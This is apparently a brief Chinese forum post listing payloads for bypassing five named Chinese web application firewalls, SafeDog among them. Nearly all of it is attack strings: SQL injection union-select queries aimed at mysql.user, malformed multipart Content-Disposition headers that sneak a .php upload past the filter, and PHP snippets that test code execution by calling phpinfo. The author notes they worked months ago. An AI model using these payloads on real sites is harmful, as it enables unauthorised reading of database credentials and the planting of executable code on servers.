几个月前测试还有效,现在不清楚了。。。

安全狗
and ‘/’=1 union select 1,2 from user– -/
Content-Disposition: form-data; name=”uploaded”;filename=;filename=1.php

云锁

and~~0=(select{--+1}) union all select 1,user from mysql.user#

上传好像没有拦截,随便改改就上传了

360

index.php/1.js?id=1’union select 1,2 from mysql.user– –

Content-Disposition:form-data; name=”uploaded”;

filename=”1.php”

安全宝
<<?php phpinfo();>

腾讯云

Content-Disposition: form-data; name=”uploaded”;filename=1.php
<?php $a=’php’.’info’;$a();?>